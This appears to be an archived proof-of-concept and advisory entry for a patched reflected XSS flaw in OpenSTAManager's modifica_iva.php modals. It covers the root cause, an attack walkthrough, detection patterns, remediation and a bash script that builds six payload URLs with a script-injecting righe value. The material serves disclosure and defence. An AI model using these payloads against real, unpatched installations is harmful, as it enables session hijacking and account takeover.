PoC Archive PoC Archive
Medium CVE-2026-24415 (GHSA-jfgp-g7x7-j25j) patched

OpenSTAManager Reflected XSS via `righe` Parameter (CVE-2026-24415)

by Lukasz Rybak · 2026-07-05

Severity
Medium
CVE
CVE-2026-24415 (GHSA-jfgp-g7x7-j25j)
Category
web
Affected product
OpenSTAManager (devcode-it/openstamanager)
Affected versions
< 2.9.8
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherLukasz Rybak
CVE / AdvisoryCVE-2026-24415 (GHSA-jfgp-g7x7-j25j)
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source (CWE-79)
StatusPoC
Tagsxss, reflected-xss, openstamanager, cwe-79, session-hijacking, php, unauthenticated-payload
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenSTAManager (devcode-it/openstamanager)
Versions Affected< 2.9.8
Language / PlatformPHP
Authentication RequiredNo (payload delivery is unauthenticated; execution occurs in an authenticated victim’s browser session)
Network Access RequiredYes

Summary

OpenSTAManager fails to sanitize the righe GET parameter before reflecting it into a hidden HTML input’s value attribute across six modifica_iva.php modal files (contracts, quotes, invoices, DDT, orders, and interventions modules). Because the parameter is echoed with a raw echo $_GET['righe']; instead of htmlspecialchars(), an attacker can break out of the attribute context and inject arbitrary HTML/JavaScript. Sending a crafted link to an authenticated user results in JavaScript execution in that user’s session, as demonstrated by the repository’s tested payloads on a live demo instance and confirmed via alert(document.cookie).


Vulnerability Details

Root Cause

CWE-79 (Improper Neutralization of Input During Web Page Generation): $_GET['righe'] is echoed directly into an HTML attribute without htmlspecialchars() or equivalent encoding in /modules/*/modals/modifica_iva.php across six modules.

Attack Vector

  1. Attacker crafts a URL to any of the six vulnerable modifica_iva.php endpoints with righe="><script>...</script> as the payload.
  2. Attacker delivers the link to a victim via email, chat, or another social channel.
  3. The authenticated victim clicks the link while logged into OpenSTAManager.
  4. The unsanitized righe value breaks out of the value="" attribute, and the injected <script> executes in the victim’s browser in the application’s origin.
  5. The attacker’s script can exfiltrate session cookies, perform actions as the victim, steal CSRF tokens, or redirect to a phishing page.

Impact

Reflected XSS enabling session cookie theft and full account takeover, unauthorized record creation/modification/deletion, CSRF token theft, and phishing redirection for any authenticated OpenSTAManager user who clicks a crafted link.


Environment / Lab Setup

Target:   OpenSTAManager < 2.9.8 (tested against v2.9.8 demo instance and localhost:8081 test instance)
Attacker: curl or any browser; no special tooling required beyond crafting the URL payload

Proof of Concept

PoC Script

See poc.sh in this folder.

1
./poc.sh http://localhost:8081 admin admin

The script authenticates to the target instance and then prints the six crafted modifica_iva.php URLs (one per affected module) carrying the righe="><script>alert(document.cookie)</script> payload; opening any of them in an authenticated browser session triggers a JavaScript alert displaying the session cookie, confirming the reflected XSS.


Detection & Indicators of Compromise

GET /modules/contratti/modals/modifica_iva.php?righe=%22%3E%3Cscript%3E...

Signs of compromise:

  • Access log entries with <script>, onerror=, or javascript: patterns in the righe query parameter
  • Unexpected outbound requests from victim browsers to attacker-controlled domains following a clicked link
  • Reports of unauthorized account actions or session hijacking correlated with a shared/clicked link

Remediation

ActionDetail
Primary fixUpgrade to OpenSTAManager >= 2.9.8, which applies htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8') (or equivalent) encoding to the affected output
Interim mitigationApply output encoding/WAF rules blocking <script>/event-handler payloads in the righe parameter until upgraded; deploy a restrictive Content-Security-Policy

References


Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-24415 on 2026-07-05.

poc.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env bash
#
# CVE-2026-24415 - OpenSTAManager < 2.9.8 reflected XSS via `righe` GET parameter
#
# The `righe` GET parameter is echoed directly into a hidden <input> value
# attribute in modifica_iva.php (contracts/quotes/invoices/DDT/orders/
# interventions modules) without htmlspecialchars() encoding, allowing an
# attacker to break out of the attribute context and inject arbitrary
# HTML/JavaScript that executes in the victim's browser.
#
# Vulnerable files (line ~121-167 depending on module):
#   /modules/contratti/modals/modifica_iva.php
#   /modules/preventivi/modals/modifica_iva.php
#   /modules/fatture/modals/modifica_iva.php
#   /modules/ddt/modals/modifica_iva.php
#   /modules/ordini/modals/modifica_iva.php
#   /modules/interventi/modals/modifica_iva.php
#
# Usage:
#   ./poc.sh <base_url> <username> <password>
#
# Example:
#   ./poc.sh http://localhost:8081 admin admin

set -euo pipefail

BASE_URL="${1:?usage: $0 <base_url> <username> <password>}"
USERNAME="${2:?username required}"
PASSWORD="${3:?password required}"

# Step 1: authenticate and store session cookie
curl -s -c cookies.txt -X POST "${BASE_URL}/index.php?op=login" \
  -d "username=${USERNAME}&password=${PASSWORD}"

PAYLOAD='"><script>alert(document.cookie)</script>'

echo
echo "[*] Reflected XSS PoC URLs (open in an authenticated browser session):"
for module in contratti preventivi fatture ddt ordini interventi; do
  echo "${BASE_URL}/modules/${module}/modals/modifica_iva.php?righe=${PAYLOAD}"
done

echo
echo "[*] Expected: a JavaScript alert() displaying the current session cookie,"
echo "    confirming unsanitized reflection of the 'righe' parameter."